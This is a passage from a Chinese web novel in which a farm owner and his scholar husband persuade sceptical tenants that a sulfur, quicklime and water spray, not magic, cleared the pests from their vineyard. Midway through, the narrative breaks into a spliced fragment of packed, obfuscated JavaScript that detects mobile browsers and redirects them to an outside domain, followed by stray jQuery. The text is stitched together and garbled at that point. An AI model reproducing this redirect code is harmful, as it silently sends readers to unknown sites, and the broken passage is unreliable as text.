“这些小虫别看个头不大，鼻子灵得很。葡萄园半里之外的桃树已被它们围堵，振起翅子也就一阵风的时间就到了。哪怕现在葡萄叶子还没长出，但芽苞是鼓的。小虫之所以喜欢果树，因为果树枝叶甜。别说隔着半里，就是三里五里，它们也能循着味飞过去。” 硫磺能给人治病，当然也能给树治病。孟秀才的这番话，卓阿叔此时有些听进去了。虽说读书人不需在田间劳作，但书中老祖宗留下的道理终归是有用的。 这般想着，卓阿叔决定再去园中看看。 阳光甚好，温度稍稍上来，飞虫越发活跃。然哥儿多做出两顶帷帽，爷俩一人戴了一顶往后山走去。 好在有帷帽挡着，省去不少驱虫的烦恼。卓阿叔的眉头却比方才皱得更紧了。 “眼下还只是飞虫，若不能及时压制，过些天等这些飞虫和飞蛾产卵，不论青菜还是果树都有的罪受。” 卓阿叔随手折了几根柳条在手上，驱赶着周身的飞虫。虽说他们穿不起橙黄橘绿丝绸衣衫，奈何山路上山杏青梅等果树异常招虫，每每路过几株，总有些胆大的虫蛾往人衣服上沾。 卓阿叔父子回家的这段时间，葡萄园中围观的看客人们也没闲着。 众人原想问庄主为何这早晚了还没见飞虫。但见孟知彰形影不离跟在它们庄主身旁，众人又你看看我，我看看你，都不太敢上前。 倒不是他们讨厌孟知彰。而是孟知彰平素持重严肃，连大公子和少夫人这般在府城呼风唤雨之人在这位秀才相公面前都毕恭毕敬、礼敬有加，他们这些普通小佃户哪敢随便靠近。 而且对方是个读书秀才，去岁秋年不仅在院试中夺得榜首之位，连知府大人和南先生等亲评的斗茶盛会上，连茶魁都轻轻松松收入囊中。他们自觉懂的不多，但他们就是知道自家庄主的这位夫君，将来定能考中举人。 举人老爷，可不是他们想见就能见的。就算见了面，他们也只有跪拜的份，哪还敢跑到人面前问东问西。 “昨日制作的药剂，今早已喷洒在园中。没关系的，可以进来看。”庄聿白见众人在园边犹豫，主动招手请大家进来。 “昨日妖魔……可都尽数捉住？”有胆小的还记挂昨日之事，“不会有漏掉的吧？” “都尽数捉住了！” 庄聿白不无玩笑地应着。不过他知道此间人还是信鬼神的，万一有人当了真就不好了，忙又正色道。 “不过庄某要向诸位道个歉。昨日制药时提到捉妖祭神之说实属无奈。只因当时围观之人实在太多，第一次实验恐有危险和闪失，便编了个故事，将大家哄走了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15510103|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >众人一脸狐疑。庄聿白只好将药剂只使用了硫磺、生石灰和水的事实又跟众人说了一番，再三强调其中并没有什么法术。 至于此次所用硫磺出处一事，庄聿白思忖之后也决定做下声明。 满庄子想方设法寻硫磺而不得时，第二日一早竟有一大袋硫磺明晃晃摆在庄子上的议事堂。事出蹊跷，传言四起，说什么的都有。连神仙显灵，甚至妖魔献祭之说都有人编了出来。 若由着众人将此事神乎其神传出去，保不齐有一日歪打正着就传到九哥儿身上，惹出不必要的事端。这是九哥儿不想见到的。庄聿白欣赏然哥儿，也敬重九哥儿，他自然也决不允许此事发生。 “前日出现在议事堂的硫磺，是二公子从家中药铺里拿来的。此前铺子里缺货是事实，不过临时调拨的一批当日就运过来了。二公子也是回家后方得知。为了给我们一个惊喜，索性悄悄放在了议事堂。” 硫磺之事，众人倒并无异议。一则大家相信薛家实力，这些硫磺自是不在话下。二则，这种捉弄人的小把戏，也很是二公子的风格。 只是仅用硫磺和生石灰便能制出灭虫之药，众人还是狠狠存疑。他们宁愿相信其中有神魔赐的法力。 庄聿白只好现学现卖，将方才孟知彰引经据典说出的那套硫磺能与人治病，也能与树治病的道理，又与众人讲了一遍。 随后，孟知彰为自家夫郎发言又亲自做了注解。读书人的权威还是在的。众人脸上的信服感越来越强。 “当真这园中只喷洒了昨日的药剂？”有人按捺不住，不仅将园中逛个大半，甚至凑上前把葡萄藤上下仔细翻看，确认没发现飞虫的踪影。 “当真。” 得到庄主夫夫的肯定回复后。人群小声引论起来。 不过此时庄聿白夫夫在药剂一事上，已经有了自己的粉丝：“若只喷一喷，虫蚁便消失得这般清净，不比每日烧草木灰要好？” 也有半信半疑的：“秀才相公都说了，硫磺确实能给人治病。百斤上下的人都能治好，那空中飘的小飞虫又有多大能耐。想必是管用的。只是不知道能持续多久。若是清早喷了，等到傍晚飞虫又上来，岂不是既花了钱，费了功，又白忙活一场么？” 也不乏全然质疑的：“天下哪有这般灵验的药剂？即便是老君的仙丹，也得有个发生效力的时间吧。清早喷上，这就见效了？一定还用了别的招。” 众人各怀心思，但又对这药剂着实感兴趣，七七八八小声说个不停。 这时然哥儿扶着卓阿叔回了来。众人像见到了主心骨，忙迎上去，将方才庄主夫夫所说之事以及大家的疑惑，七嘴八舌悉数补给卓阿叔听。 田地中事，众人还是相信一起在这片土地上摸爬滚打多年的卓阿叔。阿叔年纪长，经验足，不论粮食还是果蔬的产量，在庄子上均产都是拔尖的。 这防治虫害之药到底靠不靠谱，他们想看看卓阿叔这边的风向。 卓阿叔听完众人言语并没做表示，而是径直走到庄聿白跟前，深深施礼： “庄主，这药剂若有多出的，不知能否卖一些与我？”